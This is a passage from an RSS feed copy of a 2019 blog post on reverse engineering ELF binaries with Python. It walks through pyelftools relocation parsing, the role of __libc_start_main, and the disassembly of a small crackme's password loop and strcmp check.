1226<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
1227
1228<span class="kn">import</span> <span class="nn">sys</span>
1229<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1230<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
1231
1232<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1233 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1234 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1235 <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
1236 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{section.name}:'</span><span class="p">)</span>
1237 <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_link'</span><span class="p">])</span>
1238 <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
1239 <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_info_sym'</span><span class="p">])</span>
1240 <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_offset'</span><span class="p">])</span>
1241 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{symbol.name} {addr}'</span><span class="p">)</span>
1242</code></pre></div>
1243
1244<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
1245
1246<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
1247<span class="go">.rela.dyn:</span>
1248<span class="go"> 0x200d98</span>
1249<span class="go"> 0x200da0</span>
1250<span class="go"> 0x201008</span>
1251<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
1252<span class="go">**__libc_start_main 0x200fe0**</span>
1253<span class="go">__gmon_start__ 0x200fe8</span>
1254<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
1255<span class="go">__cxa_finalize 0x200ff8</span>
1256<span class="go">stdin 0x201010</span>
1257<span class="go">.rela.plt:</span>
1258<span class="go">puts 0x200fb0</span>
1259<span class="go">printf 0x200fb8</span>
1260<span class="go">fgets 0x200fc0</span>
1261<span class="go">strcmp 0x200fc8</span>
1262<span class="go">malloc 0x200fd0</span>
1263</code></pre></div>
1264
1265<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p>
1266
1267<blockquote>
1268 <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
1269</blockquote>
1270
1271<p>And its definition is like so</p>
1272
1273<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span>
1274<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span>
1275<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1276<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1277<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1278<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
1279</code></pre></div>
1280
1281<p>Looking back at our disassembly</p>
1282
1283<pre><code>0x6a0: xor ebp, ebp
12840x6a2: mov r9, rdx
12850x6a5: pop rsi
12860x6a6: mov rdx, rsp
12870x6a9: and rsp, 0xfffffffffffffff0
12880x6ad: push rax
12890x6ae: push rsp
12900x6af: lea r8, [rip + 0x23a]
12910x6b6: lea rcx, [rip + 0x1c3]
1292**0x6bd: lea rdi, [rip + 0xe6]**
12930x6c4: call qword ptr [rip + 0x200916]
12940x6ca: hlt
1295... snip ...
1296</code></pre>
1297
1298<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
1299
1300<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
1301
1302<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
1303
1304<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
1305
1306<pre><code>printf 0x650
1307fgets 0x660
1308strcmp 0x670
1309malloc 0x680
1310</code></pre>
1311
1312<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
1313
1314<pre><code>0x7b2: mov edi, 0xa ; 10
13150x7b7: call 0x680 ; malloc
1316</code></pre>
1317
1318<p>The loop to populate the <code>*pw</code> string</p>
1319
1320<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14]
13210x7d3: cdqe
13220x7d5: lea rdx, [rax - 1]
13230x7d9: mov rax, qword ptr [rbp - 0x10]
13240x7dd: add rax, rdx
13250x7e0: movzx eax, byte ptr [rax]
13260x7e3: lea ecx, [rax + 1]
13270x7e6: mov eax, dword ptr [rbp - 0x14]
13280x7e9: movsxd rdx, eax
13290x7ec: mov rax, qword ptr [rbp - 0x10]
13300x7f0: add rax, rdx
13310x7f3: mov edx, ecx
13320x7f5: mov byte ptr [rax], dl
13330x7f7: add dword ptr [rbp - 0x14], 1
13340x7fb: cmp dword ptr [rbp - 0x14], 8
13350x7ff: jle 0x7d0
1336</code></pre>
1337
1338<p>And this looks like our <code>strcmp()</code></p>
1339
1340<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in
13410x847: mov rax, qword ptr [rbp - 8] ; *pw
13420x84b: mov rsi, rdx
13430x84e: mov rdi, rax
13440x851: call 0x670 ; strcmp
13450x856: test eax, eax ; is = 0?
13460x858: jne 0x868 ; no? jump to 0x868
13470x85a: lea rdi, [rip + 0xae] ; "haha yes!"
13480x861: call 0x640 ; puts
13490x866: jmp 0x874
13500x868: lea rdi, [rip + 0xaa] ; "nah dude"
13510x86f: call 0x640 ; puts
1352</code></pre>
1353
1354<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
1355
1356<p><strong>Update</strong>: It’s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
1357
1358<h3 id="conclusion">Conclusion</h3>
1359
1360<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
1361
1362<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
1363
1364<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
1365]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
1366</rss>